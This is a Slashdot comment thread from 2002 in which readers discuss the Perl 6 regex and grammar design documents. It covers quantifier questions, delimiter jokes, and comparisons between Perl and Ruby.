    Yes, Perl6 is a rewrite and introduces a lot of deep CS concepts and ew syntax, but some care is being taken to assure that most Perl5 code will be runnable as is, while people learn about the power of some of the advanced tools Perl6 will provide.

    Please Don't Panic (or incite others to): the apocolypses and exegises are technical documents, they are not meant to be smooth, easy reading or to reassure today's perlers that their hard won skills will be useful. They're meant to describe what's new and different and usually why. Don't be scared by the new and different, just as with existing Perl, you should be able to adopt the powerful new concepts and syntax as you need to without having to swallow it whole or unlearn everything you already know.

    Perl6 will be stunningly more powerful, expressive, and provide (optionally) the safety features required for average coders to implement large systems while letting experts use extremely powerful tools like closures, continuations, intricate pattern matching that have mostly been accessible in academic languages to this point. And it will still allow convenient scripts to be generated if that's what you need to do.

    Remember folks, other languages can make shitty code smell nice, but it's still shitty code and you wouldn't want to eat^Wmaintain it.

    - Barrie
  • This is probably the wrong place to ask, but I am trying to figure out the :any modifier for perl6. I currently do not code perl fluently, and have been holding off for perl6 (php and bash suit me just fine atm)

    Anyway, in the article, it says there will be an :any modifier that matches a string any way possible, and gives the example:

    @matches = $str =~ m:any/ah*/; # returns "ahhh", "ahh", "ah", "a"

    Ok.. so i get how it returns "ahhh", "ahh", and "ah" - but how the heck does saying "match any string that looks like 'ah*' any way possible" return "a" ?

    Is this an error in the article, or am i missing something extremely obvious?

    Thanks!

    • Because star can mean 0 to infinity. You are confusing "*" with "+". Plus would have meant 1 to infinity.

      @matches = $str =~ m:any/ah*/; # returns "ahhh", "ahh", "ah", "a"

      @matches = $str =~ m:any/ah+/; # returns "ahhh", "ahh", "ah"
      • Got it. Thanks!

        These regexp's are tricky! But this kind of thing makes me look forward to learning perl6 and really digging into them. :D
  • by dschuetz (10924) <slash AT david DOT dasnet DOT org> on Friday August 23, 2002 @09:27AM (#4126112) Homepage
    [preface:
    I first used perl back in version 3, something like 12 years ago. I first really learned perl, v4, about 9 years ago. It did everything I ever needed.

    Then, perl 5 came out. I didn't bother "learning" it -- that is, I've been using it, and when I really need to, I've used some perl 5 features, but I've learned them as I go (by example), and I know I'm not really using the full capabilites. (plus, though I know what I'm doing, I don't always know what to call what I'm doing -- I got stumped the other day when someone asked me how to do pointers in perl. I drew a blank, not making the connection to all the weird hash magic I'd been doing lately. But I digress.)

    Anyway, the bottom line of this is: Perl 5 looked interesting, but like more of the same, and wasn't really compelling for me to buckle down and learn all the new features. Perl 6, on the other hand, scares me. In a good way.


    Here's a page-by-page description of how I read the article:
    • Page 1: Hm. Looks like they're describing a grammar with regex. Cool.
    • Page 2: I can intuitively match against a set of strings! Wild. These strings can be expressions themselves? Even better!
    • Page 3: It's a grammar. A full, honkin, real, honest-to-goodness grammar. That I can match against. Are those angels I hear singing?
    • Page 4: <head explodes>
    • Page 5: <drools>
    Seriously, though, I was concerned at first that I'd have to learn something new, crazy, and difficult (given how screwed-up much of perl 5 has seemed, at times). I'm impressed. I'm very impressed. Yes, I have to learn somthing new and crazy, but it's not at all difficult. In fact, I think I've already learned it.

    The power that this new system holds, and, more importantly, the simplicity of it all, is amazing.

    So, unlike some other posters, I can't wait for Perl 6. When does this come out, again? And, more importantly, when can I buy the new book?

    (also, was I the only one who expected, after the demonstration of matching method invocations, to be told that the entire source code for perl6 was just one giant RegEx/Grammar?)
    • # Page 4: <head explodes>

      Could <head explodes> be a legal rule invocation? Rule with an argument?

      Jeroen Nijhof

    • I didn't bother "learning" it -- that is, I've been using it, and when I really need to, I've used some perl 5 features, but I've learned them as I go (by example), and I know I'm not really using the full capabilites

      Yeah, well, same for me, except that I started with perl 5.0xx (with very little Perl 4 before that - didn't do much with it, because the Big Honkin' ManPage was pain to read in DOS!)

      I know that for me, Perl 5.6 was not that big of a change. ("Oh, I can use 'use warnings;' instead of '-w'? That's readable! Oh, and 'our ($a, $b, $c)' instead of 'use vars qw($a $b $c)'? Gets better!")

      And I know Perl 6 is not going to be a porting nightmare, and will make Perl much more readable in long run. I heard, for example, that the hilariously obscure-sounding scalar(@arr) or unreadable-sounding $#arr+1 will be @arr.length (or something similar) there, which is only positive...

    • was I the only one who expected, after the demonstration of matching method invocations, to be told that the entire source code for perl6 was just one giant RegEx/Grammar?

      That's correct, and has been Larry's plan since the beginning. The Perl6 eval will be a rule like so:

      if /^<$code <perlgrammar>>$/ {
      Parrot.execute $code.bytecode;
      }

      Add command-line handling and that's your /usr/bin/perl in a nutshell.
  • DON'T PANIC (Score:1, Insightful)

    by Anonymous Coward
    Here's why I'm not panicking. I read the apocalypse, and realized that I've never used any of the (?.....) expressions in a regular expression, and I've been Perling for 4 years and have written 2 formal parsing modules, and scads of scriptlets to pull data from very loosely formatted files.

    I'm glad that support for the /x flag is improving, but I'm ignoring most of apocalypse 5 (until I find that I need advanced parsing capabilities), relying on the assurances that most of what I do with regexes will be preserved, and happily awaiting topicalizers and hyper operators
  • I hate reading docs online! I can't take my copmputer in the bathroom easily. I hope O'Reily will be publishing a book for 6.0 in a timely manner!
  • T-Shirts (Score:2, Funny)

    by asobala (563713)
    From the exegesis:

    The first thing to note is that, like a Perl 5 qr, a Perl 6 rx can take (almost) any delimiters we choose. The $hunk pattern uses {...}, but we could have used:

    rx/pattern/ # Standard
    rx[pattern] # Alternative bracket-delimiter style
    rx<pattern> # Alternative bracket-delimiter style
    rxforme # Délimiteurs très chic
    rx>pattern< # Inverted bracketing is allowed too (!)
    rxMuster # Begrenzungen im korrekten Auftrag
    rx!pattern! # Excited
    rx=pattern= # Unusual
    rx?pattern? # No special meaning in Perl 6
    rx#pattern# # Careful with these: they disable internal comments

    Are these allowed for the sole purpose of creating new T-Shirt patterns?
    • This isn't new, its part of perl 5. Try m!!, m[], m##, etc... They all work fine in perl 5 and actually in perl 4 as well.

  • I'm a bit frustrated that they're fussin so much around regex when OO perl is a bit of a mess right now. The TMTOWTDI motto is a nightmare when it comes to OO because each developer has his own way of doing it and to build reusable class libs is tough! I would like to see more standardisation in that area - more than damian's OO book, which simply suggests a way of doing it, but there's no real accepted method, or no way of enforcing anything at all. I'd like to see some developments on the encapsulation front, for example!
  • Considering all of the learning required to go from Perl5 to Perl6 and the fact that Perl6 probably won't exist for a couple more years, I wonder if the growth in Ruby users (traffic is steadily growing on comp.lang.ruby) is attributable to Perl folks jumping ship?

    Ruby seems to offer a lot to current Perl programmers, especially when it comes to OO programming - I don't think anyone will argue that Ruby's OO model is much cleaner and more beautiful than Perl's.

    Perl6 does seem to have some promising features (like being able to define grammars as shown in the current exegesis) though.... however, I suspect that these ideas don't require wholesale changes to a language (this could be a Ruby module for example).
    • Perl 6, at least good parts of it, are implemented now. There's no need to wait a few years. Hit dev.perl.org [perl.org] for details on CVS checkout and build instructions for Parrot, the perl 6 (amongst other things) interpreter.
    • I suspect that these ideas don't require wholesale changes to a language

      Indeed, Parse::RecDescent has been available in Perl for years. Of course, it doesn't do all of the things mentioned. More importantly, it's not the internal parser for Perl. You can't use it to change the parsing rules of Perl on the fly.

      I'm not sure how you'd do that without making wholesale changes to a language.

    • I fail to see why people feel that Perl and Ruby need to compete. Both can happily live side by side, and are not difficult to learn(at least the basics).

      Learn both. They both have good points, and bad. I'd love an easier OO model in Perl5, but I'd also like more control over scoping in Ruby. The Ruby and Perl development communities are both listening to each other, from what I've seen, and drawing on their shared and unique experiences to further both languages. Why shouldn't the users of these languages do the same?
      • " I fail to see why people feel that Perl and Ruby need to compete. Both can happily live side by side, and are not difficult to learn(at least the basics)."

        Sure, but everyone tends to have a favorite language, a language they reach for first when doing something. Often the problem domain dictates which language you will reach for. Perl was my language of choice for several years, with C/C++ being my secondary language of choice if speed was a requirement (though for text processing Perl often can beat out C/C++). Now my language of choice is Ruby and if I need better performance I write a C/C++ extention. I guess the point I'm trying to make is that for my purposes Perl and Ruby overlap quite a lot and I've found that Perl became unneccessary after I started using Ruby because of the advantages that I found in Ruby (I haven't found myself reaching for Perl for a while now).

        What if you had made this statement about 8 years ago:
        " I fail to see why people feel that Awk and Perl need to compete. Both can happily live side by side"

        After finding Perl most people found that they never used Awk again - that was my experience anyway.

        "I'd also like more control over scoping in Ruby"
        Can you give more information about what you mean?
      • What more control could you want over scoping in Ruby?

        As to the users of each language, I think there is a lot of cross-over... but whereas Perl seems to attract a lot of new or returning programmers to its ranks, Ruby seems to be a language chosen by people who've studied at least one other language for some time. And I don't know about the Perl community (although I've certainly put in some time at perlmonks.org), but the Ruby community is generally very open to learning other languages-- witness the HUGE thread on ruby-talk the last week about what language to learn next (inspired by the Pragmatic Programmer's "Language of the Year" project).

        • Replying to the question just once:

          "What more control could you want over scoping in Ruby?"

          Oh, Ruby's good at this. But going back to Perl the last several months for reasons including Parrot, I've come to appreciate "my". Wile I generally like how Ruby handles scoping, every once in a while there's a problem where I think "everything else makes Ruby a good fit to this, but there's a really nifty Perl trick with my that I could apply here."
  • I will be happy when they implement a DWIM() function. That's Do What I Mean.
  • ...that these guys are really really really smart, because that's why they were able to implement a Perl 6->Parrot compiler virtually overnight [slashdot.org].

    But because they're sooooo smart, they write things like this:
    In other words, a raw variable in a Perl 6 pattern is matched as if it was a Perl 5 regex in which the interpolation had been quotemeta'd and then placed in a pair of non-capturing parentheses.

    OK. OOOOK. I'm really looking forward to Perl 6 For Dummies. Now pardon me while I go back to reading something easy, like differential geometry.

    But seriously, what really excites me about Perl 6 is Parrot. It's going to be just ultra-cool to be able to link to Python and Ruby (and C) with no fuss and no muss. To me, the rest is just syntactic sugar.

    • That statement translates to:
      rx/$var/ eq rx:p5/(?:\Q$var\E)/ #remember, :p5 turns on Perl 5 regexes
      That's a perfect example of why regex notations are so line-noise-y: if you wrote them out, they'd be ridiculously hard to understand. :^)

Living on Earth may be expensive, but it includes an annual free trip around the Sun.

Working...